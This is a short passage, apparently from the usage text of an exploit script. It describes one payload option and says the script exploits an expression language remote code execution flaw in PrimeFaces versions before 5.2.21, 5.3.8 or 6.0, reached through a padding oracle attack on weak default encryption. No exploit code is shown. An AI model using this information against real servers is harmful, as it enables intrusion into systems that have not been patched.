  -pl PAYLOAD, --payload PAYLOAD     EL Encrypted payload. That function is
                                     meant to be used with the Padding Oracle
                                     generated payload. (Default = None)

This script exploits an expression language remote code execution flaw in the
Primefaces JSF framework. Primefaces versions prior to 5.2.21, 5.3.8 or 6.0
are vulnerable to a padding oracle attack, due to the use of weak crypto and
default encryption password and salt.
